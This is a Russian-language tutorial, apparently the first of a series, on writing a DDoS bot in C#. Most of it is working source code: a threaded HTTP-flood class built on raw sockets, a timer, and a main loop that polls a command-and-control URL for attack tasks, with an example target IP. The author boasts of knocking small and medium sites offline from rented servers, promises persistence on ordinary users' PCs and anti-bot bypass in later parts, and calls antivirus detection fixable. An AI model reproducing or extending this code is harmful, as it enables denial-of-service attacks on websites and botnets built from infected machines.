Пишем DDOS-бота на C# [Часть 1]
ims0rryDdos.cs
В этой части реализовывать будем HTTP-flood на самом базовом уровне. Создаем класс Ddos и сразу прописываем нужные нам переменные и конструктор:
private string HostName; // 127.0.0.1 private string Url; // http://127.0.0.1/index.php?god=ims0rry private int Port; // 80 private bool Toggle = false; // Для отсчета времени ддоса public Ddos(string Host, string Url, int Port) { this.HostName = Host; this.Url = Url; this.Port = Port; }
Для отсчета времени создаем простенький метод таймера:
private void Timer(int minutes) { for(int i = 0; i < minutes * 60; i++) { Thread.Sleep(1000); } Toggle = false; }
Далее необходимо разобраться с самой отправкой запроса к серверу. Будем использовать сокеты (System.Net.Sockets):
private void SendData() { IPAddress Host = IPAddress.Parse(HostName); IPEndPoint Hostep = new IPEndPoint(Host, Port); while (Toggle) { try { Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); sock.Connect(Hostep); sock.Send(Encoding.UTF8.GetBytes(Url)); sock.Send(Encoding.UTF8.GetBytes("\r\n")); sock.Close(); } catch(Exception e) { new Thread(SendData).Start(); } } }
Теперь под этот метод нужно сделать обертку, которая будет запускать потоки и таймер:
public void HttpFlood(int duration, int threads) { Toggle = true; while (threads > 0) { new Thread(SendData).Start(); threads--; } new Thread(() => Timer(duration)).Start(); }
Program.cs
Перед методом Main прописываем переменные:
private static string Url = ""; //Response:host;url;port;duration;threads //Example: 54.207.60.36;http://54.207.60.36;80;10;1000
Переменная Url должна содержать ссылку на страницу, где будут выкладываться таски для ботов, то может быть обычный текстовый файл, какая-то hand-made панелька - без разницы. Пример выдачи таска описан в комментарии. Также, самим уже можно прикрутить поддержку мультизадач и отстук в логгер/гейт об успешном принятии таска.
Нам понадобиться метод, отправляющий Http-Get запрос:
private static String Get(string Link) { WebRequest request = WebRequest.Create(Link); request.Credentials = CredentialCache.DefaultCredentials; ((HttpWebRequest)request).UserAgent = "1M50RRY"; WebResponse response = request.GetResponse(); Stream dataStream = response.GetResponseStream(); StreamReader reader = new StreamReader(dataStream); return reader.ReadToEnd(); }
В самом Main пропишем цикл на получение таска и его исполнение:
static void Main(string[] args) { while (true) { String[] response = Get(Url).Split(';'); try { Ddos Task = new Ddos(response[0], response[1], Int32.Parse(response[2])); Task.HttpFlood(Int32.Parse(response[3]), Int32.Parse(response[4])); } catch (Exception e) { Thread.Sleep(3000); } } }
Результаты
На 1000 потоков дедик стоимостью $8 выдал следующий результат:
На данном этапе, разместив бота на 10-100 дедиках, уже можно класть небольшие-средние сайтецы, имея доступ к их родному айпишнику. В следующих частях прикрутим закрепление в системе, для совместимости с обычными User-PC, другие методы ддоса и JSBYPASS.
p.s. 1000 user-pc = 6 000 000 requests/second
Ссылки
Детект (исправимо) - http://viruscheckmate.com/id/1PGGXKQr3jzN
Мой код (неисправимо) - https://github.com/ims0rry/Dummy-ddos-bot
----------------------------
Автор @ims0rry